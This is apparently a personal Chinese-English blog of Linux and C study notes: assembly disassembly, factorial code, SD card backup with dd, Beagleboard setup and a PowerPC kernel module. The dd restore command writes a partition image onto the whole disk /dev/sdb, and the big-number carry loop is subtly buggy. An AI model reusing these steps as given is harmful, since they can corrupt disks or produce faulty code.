   0:   55                      push   %ebp
   1:   89 e5                   mov    %esp,%ebp
   3:   83 ec 10                sub    $0x10,%esp
//start-- int a=*xp;
//move Memory[ebp+0x8](xp) to register exa.
//move memory content(*xp) to register eax
//move value(*xp) in eax to Memory[ebp-0x4](variable a).
   6:   8b 45 08                mov    0x8(%ebp),%eax
   9:   8b 00                   mov    (%eax),%eax
   b:   89 45 fc                mov    %eax,-0x4(%ebp)
//end int a=*xp;

// int b=*yp;
// *yp會存在記憶體中ebp+0xC的位址,先把這位址存到eax中
// 再把exa記憶體中對應的值取出來存到,eax
//接著把exa的值,存到b變數所在的記憶體ebp-0x8中
   e:   8b 45 0c                mov    0xc(%ebp),%eax
11:   8b 00                   mov    (%eax),%eax
13:   89 45 f8                mov    %eax,-0x8(%ebp)
//end int b=*yp;
16:   8b 45 08                mov    0x8(%ebp),%eax
19:   8b 55 f8                mov    -0x8(%ebp),%edx
1c:   89 10                   mov    %edx,(%eax)
1e:   8b 45 0c                mov    0xc(%ebp),%eax
21:   8b 55 fc                mov    -0x4(%ebp),%edx
24:   89 10                   mov    %edx,(%eax)
26:   c9                      leave
27:   c3                      ret

X86-64
gcc -g -c mov.c -o mov64

0000000000000000 :
   0:   55                      push   %rbp
   1:   48 89 e5                mov    %rsp,%rbp
   4:   48 89 7d e8             mov    %rdi,-0x18(%rbp)
   8:   48 89 75 e0             mov    %rsi,-0x20(%rbp)
   c:   48 8b 45 e8             mov    -0x18(%rbp),%rax
10:   8b 00                   mov    (%rax),%eax
12:   89 45 fc                mov    %eax,-0x4(%rbp)
15:   48 8b 45 e0             mov    -0x20(%rbp),%rax
19:   8b 00                   mov    (%rax),%eax
1b:   89 45 f8                mov    %eax,-0x8(%rbp)
1e:   48 8b 45 e8             mov    -0x18(%rbp),%rax
22:   8b 55 f8                mov    -0x8(%rbp),%edx
25:   89 10                   mov    %edx,(%rax)
27:   48 8b 45 e0             mov    -0x20(%rbp),%rax
2b:   8b 55 fc                mov    -0x4(%rbp),%edx
2e:   89 10                   mov    %edx,(%rax)
30:   5d                      pop    %rbp
31:   c3                      retq

reference:
https://www.cs.cmu.edu/~fp/courses/15213-s07/misc/asm64-handout.pdf

C語言，大數運算，階層筆記

2014-06-26T16:58:00.002+08:00

如果今天要用C語言計算50!，int都是不夠用的。要解這樣的問題，必需要用陣列。
32位元系統unsigned int 最大 4,294,967,295 (10位數字)
64位元 uint64_t 18,446,744,073,709,551,615 (20 位數字)

/*從array的高位元開始存值*/
void Big_factorial_iteration(int n)
{
  int i=1;

  /*init array*/
  int a[SIZE_A]= {0};
  int tail=SIZE_A-1;

  a[tail]=1;

  for(i=1; i <= n  ; i++)
  {
    int j;
    /* multiply the value */
    for(j= tail ; j >= 0 ; j--)
    {
      a[j]=a[j]*i;
    }
    /*進位留下個位數，其餘的加點前一位 */
    for(j= tail ; j >= 0 ; j--)
    {
      if (a[j] >= 10)
          a[j-1]=a[j-1]+(a[j]/10);
          a[j]=a[j]%10;
    }
  }

  for(i=0; i< SIZE_A ; i++)
  {
     printf("%d",a[i]);
  }
  printf("\n");

}

int main()
{

  printf(" %d \n",factorial_recursion(10));
  printf(" %d \n",factorial_iteration(10));
  Big_factorial_iteration(20); 計算20階層
}

result: [carlos@localhost c_examples]$ ./factorial_2
3628800
3628800
000000000002432902008176640000

原始碼:
https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial_2.c

reference source:
http://www.cs.utexas.edu/users/djimenez/utsa/cs3343/lecture20.html http://en.wikipedia.org/wiki/Integer_(computer_science)
http://en.wikipedia.org/wiki/Factorial

安裝Cowday到你的linux歡迎訊息，message of day linux

2014-06-25T20:10:00.001+08:00

1.先安裝

sudo apt-get install fortune cowsay

2接著加入以下指令到 bash.bashrc中，這樣每次開啟terminal 或 ssh 就會有隻牛跟你說話囉

sudo vim /etc/bash.bashrc

# Spicing up Terminal
fortune | cowsay -n
echo

source: http://xtremediary.blogspot.tw/2010/04/spice-up-ubuntulinux-terminal-with.html

C語言階層的遞迴與迴圈 - example factorial recursion and iteration.

2014-06-25T12:09:00.002+08:00

筆記一下C語言階層的遞迴與迴圈寫法，這個範例不考慮溢位的問題。

#include

/*
*  example for recursion and iteration 
*  I know it should return error if n < 0, but this just a simple example for study.
*  Do not care about overflow issues this example. 
*/
unsigned int factorial_recursion(int n)
{

   /* return n>=1 ? n * factorial_recursion(n-1) : 1; */

   if(n==0)
      return 1;  /*Base case */
   else
      return n * factorial_recursion(n-1); /*General case */

}


unsigned int factorial_iteration(int n)
{
  int i=1;
  int result=1;

  for(i=1; i <= n  ; i++)
  {
    /*result *= i */
    result=result * i;
  }

  return result;
}

int main()
{

  printf(" %d \n",factorial_recursion(10));
  printf(" %d \n",factorial_iteration(10));

}

原始碼:https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial.c

Strace cross compile PowerPC

2014-06-18T17:13:00.000+08:00

今天遇到一個bug Web daemon隨機會segmentation fault

想用Strace來debug看看
在這抓 - http://sourceforge.net/projects/strace/files/strace/
./configure --host=powerpc-linux CC=powerpc-linux-gcc LD=powerpc-linux-ld
make之後就可以放上機器上囉。

在機器上執行:Strace -f -o web.trace webs
神奇的事發生了，這時候我的web daemon就不會掛掉了。
只好，慢慢trace code了，最後是發現有人做這樣的行為，寫C時要小心，別亂copy亂指的。

UCHAR old_pass[32];

UCHAR *passphrase;
strcpy(passphrase, old_pass);

objdump gcc Assembly debug筆記

2014-06-17T16:08:00.002+08:00

gcc -s xxxx 可以篇成組合語言
gcc -g xxxx 之後可以用
objdump -S a.out 看到組語、C code

遇到要debug kernel panic時很好用! :)

example:
[carlos@localhost testC]$ objdump -S ./a.out

./a.out: file format elf32-i386

080483d4 :

int func1()
{
80483d4: 55 push %ebp
80483d5: 89 e5 mov %esp,%ebp
80483d7: 83 ec 08 sub $0x8,%esp
printf("WAT WAT WAT \n");
80483da: c7 04 24 10 85 04 08 movl $0x8048510,(%esp)
80483e1: e8 02 ff ff ff call 80482e8
}
80483e6: c9 leave
80483e7: c3 ret

備分Beagleboard sd卡

2014-06-12T20:44:00.004+08:00

a.首先執行fdisk -l, 可以看到我的sd卡是在/dev/sdb1跟/dev/sdb2，基本上只要備份sdb2的file system就夠了。

karose@karose-VirtualBox:~$ sudo fdisk -l

Disk /dev/sda: 21.8 GB, 21802237952 bytes
255 heads, 63 sectors/track, 2650 cylinders, total 42582496 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00079d59

Device Boot Start End Blocks Id System
/dev/sda1 * 2048 39186431 19592192 83 Linux
/dev/sda2 39188478 42582015 1696769 5 Extended
/dev/sda5 39188480 42582015 1696768 82 Linux swap / Solaris

Disk /dev/sdb: 7860 MB, 7860125696 bytes
242 heads, 62 sectors/track, 1023 cylinders, total 15351808 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
/dev/sdb1 * 2048 198655 98304 e W95 FAT16 (LBA)
/dev/sdb2 198656 15351807 7576576 83 Linux

b.使用dd 把/dev/sdb2備份起來到home/backup下面。

sudo dd if=/dev/sdb2 | gzip -1 > /home/backup/sd_backup.img.gz

c.要還原就用下面的指令。

zcat sd_backup.img.gz > /dev/sdb

source:http://www.gigamegablog.com/2012/09/26/beaglebone-101-linux-tricks-for-backing-up-and-resizing-your-microsd-card/

Beagleboard-XM 更改時區+開啟audio+ Lxde中文

2014-06-10T22:13:00.003+08:00

1.更改時區為台灣時區
(To change timezone to Taiwan.)
$ sudo tzselect
$ sudo cp /usr/share/zoneinfo/Aisa/Taipei /etc/localtime
$ sudo hwclock -w

2.開啟音效，預設是沒聲音的
(enable audio, seems it's disabled by default)
https://developer.ridgerun.com/wiki/index.php/Getting_Started_Guide_for_DM3730_Beagleboard-xM

amixer sset 'DAC1 Digital Fine' 40
amixer sset 'Headset' 2
amixer sset 'HeadsetL Mixer AudioL1' on
amixer sset 'HeadsetR Mixer AudioR1' on

3.Install Chinese font packet.
安裝中文字型sudo apt-get install ttf-arphic-uming

4. Install pdf reader
sudo apt-get install evince
apt-get install poppler-data

5.Wireshark 權限給不是root的user

sudo dpkg-reconfigure wireshark-common

http://ask.wireshark.org/questions/7976/wireshark-setup-linux-for-nonroot-user

6.Network-Manager權限

sudo vi /etc/polkit-1/localauthority/50-local.d/org.freedesktop.NetworkManager.pkla

[nm-applet]
Identity=unix-group:netdev
Action=org.freedesktop.NetworkManager.*
ResultAny=yes
ResultInactive=no
ResultActive=yes

source:http://jeffhoogland.blogspot.tw/2012/05/howto-give-network-manager-sufficient.html

7. 解決 Xterm 不能copy paste

sudo apt-get install parcellite

ipcs 指令

2014-06-05T11:48:00.001+08:00

Linux常見的IPC方式有下面幾種方式, ipcs指令可以幫助查看ipc資訊

Different Types of IPCS

There are various IPC’s which allows a process to communicate with another processes, either in the same computer or different computer in the same network.

Pipes – Provides a way for processes to communicate with each another by exchanging messages. Named pipes provide a way for processes running on different computer systems to communicate over the network.
Shared Memory – Processes can exchange values in the shared memory. One process will create a portion of memory which other process can access.
Message Queue – It is a structured and ordered list of memory segments where processes store or retrieve data.
Semaphores – Provides a synchronizing mechanism for processes that are accessing the same resource. No data is passed with a semaphore; it simply coordinates access to shared resources.

source: http://www.thegeekstuff.com/2010/08/ipcs-command-examples/

Cross Compile Hello world kernel module - PowerPC

2014-05-28T10:30:00.003+08:00

寫了幾年的程式，常常在改人家寫好的kernel module，好像沒自己寫過，今天就來試試看。

1.先寫好hello.c 這段整個是reference copy來的。

#include <linux/module.h>       /* Needed by all modules */
#include <linux/kernel.h>      /* Needed for KERN_INFO */

int init_module(void)
{
        printk(KERN_INFO "Hello world 1.\n");

        /* 
         * A non 0 return means init_module failed; module can't be loaded. 
         */
        return 0;
}

void cleanup_module(void)
{
        printk(KERN_INFO "Goodbye world 1.\n");
}

2. Makefile kernel module的compile方式跟 userspace application 有點不同。我實驗用的開發板是PowerPC平台，其make file如下。

# Cross compilation Makefile for ARM
KERN_SRC=../../linux-2.6.37_build
obj-m := hello.o
 
all:
        make -C $(KERN_SRC) ARCH=powerpc CROSS_COMPILE=/opt/powerpc/usr/bin/powerpc-linux- M=`pwd` modules
clean:
        make -C $(KERN_SRC) ARCH=powerpc CROSS_COMPILE=/opt/powerpc/usr/bin/powerpc-linux- M=`pwd` clean

3.把hello.ko tftp至機器上測試
[root@localhost /sbin]# insmod hello.ko
Hello world 1.
[root@localhost /sbin]# lsmod
hello 592 0 - Live 0xcc89d000 (P)
[root@localhost /sbin]# rmmod hello
Goodbye world 1.
參考資料:
The Linux Kernel Module Programming Guide
http://linux.die.net/lkmpg/index.html

shared library 筆記

2013-12-13T17:44:00.001+08:00

source: http://www.thegeekstuff.com/2012/06/linux-shared-libraries/

無聊來練一下shared library好了。

1.先寫好share.c

#include "shared.h"
unsigned int add(unsigned int a, unsigned int b)
{
    printf("\n Inside add()\n");
    return (a+b);
}

2.share.h

#include
extern unsigned int add(unsigned int a, unsigned int b);

3.編釋囉
gcc -c -Wall -Werror -fPIC share.c
gcc -shared -o libshare.so share.o

4.產生出來libshare.so囉!!!
# ls
libshare.so share.c share.h share.o
5.寫一個測式的程式
include
#include"share.h"
int main(void)
{
unsigned int a = 1;
unsigned int b = 2;
unsigned int result = 0;

result = add(a,b);

printf("\n The result is [%u]\n",result);
return 0;
}

# gcc -L. -Wall sharetest.c -o go -lshare
-L. 在當前的目錄下，找-lshare 名稱為libshare.so的library來編。
# go
./go: error while loading shared libraries: libshare.so: cannot open shared object file: No such file or directory
go的測試程式找不到需要的libshare.so。

這時有兩個方法可以解決
a.修改/etc/ld.so.conf 然後執行ldconfig
vim /etc/ld.so.conf

include ld.so.conf.d/*.conf
/usr/local/openssl/lib/
/usr/lib
/home/carlosnew/Cpratic

b.export LD_LIBRARY_PATH=/home/carlosnew/Cpratic:$LD_LIBRARY_PATH

6最後一看一下執行結果!
# go

Inside add()

The result is [3]

static library會佔用較多的記憶體因為把要用到的functions都先包進去了，但是執行速度會比較快，shared library執行速會比較慢，相同的function只需要一塊記憶體空間。

小胖部落格-learning by doing

IPad Pro 生產力 邊看網頁 邊筆記

iPad pro 2020 寫程式可行嗎?

Tesla CEO Elon Musk打電動嗎?

如何使用MQTT-Reactive打造Event-driven programming系統

CMU buffer overflow attack作業筆記

預備知識:

題目一:函數返回時利用buffer overflow去呼叫另一個不帶參數函數

Raspberry Pi (ARMv6)上自幹一個微小作業系統

vim + cscope + ctags + nerdtree + taglist + SrcExpl+trinity, c ya source Insight.

自己動手做OS之Raspberry Pi interrupt example 筆記

MAC OS X 10.10 minicom USB to serial 安裝

Linux VLAN 筆記

自己動手做OS之Raspberry Pi MMU initialization.

Raspberry Pi bare metal OS 筆記

自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab3 Initialize stack pointer and printk

自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab1

Assembly - moving data 組合語言，移動資料

C語言，大數運算，階層筆記

安裝Cowday到你的linux歡迎訊息，message of day linux

C語言階層的遞迴與迴圈 - example factorial recursion and iteration.

Strace cross compile PowerPC

objdump gcc Assembly debug筆記

備分Beagleboard sd卡

Beagleboard-XM 更改時區+開啟audio+ Lxde中文

ipcs 指令

Different Types of IPCS

Cross Compile Hello world kernel module - PowerPC

shared library 筆記

IPad Pro 生產力邊看網頁邊筆記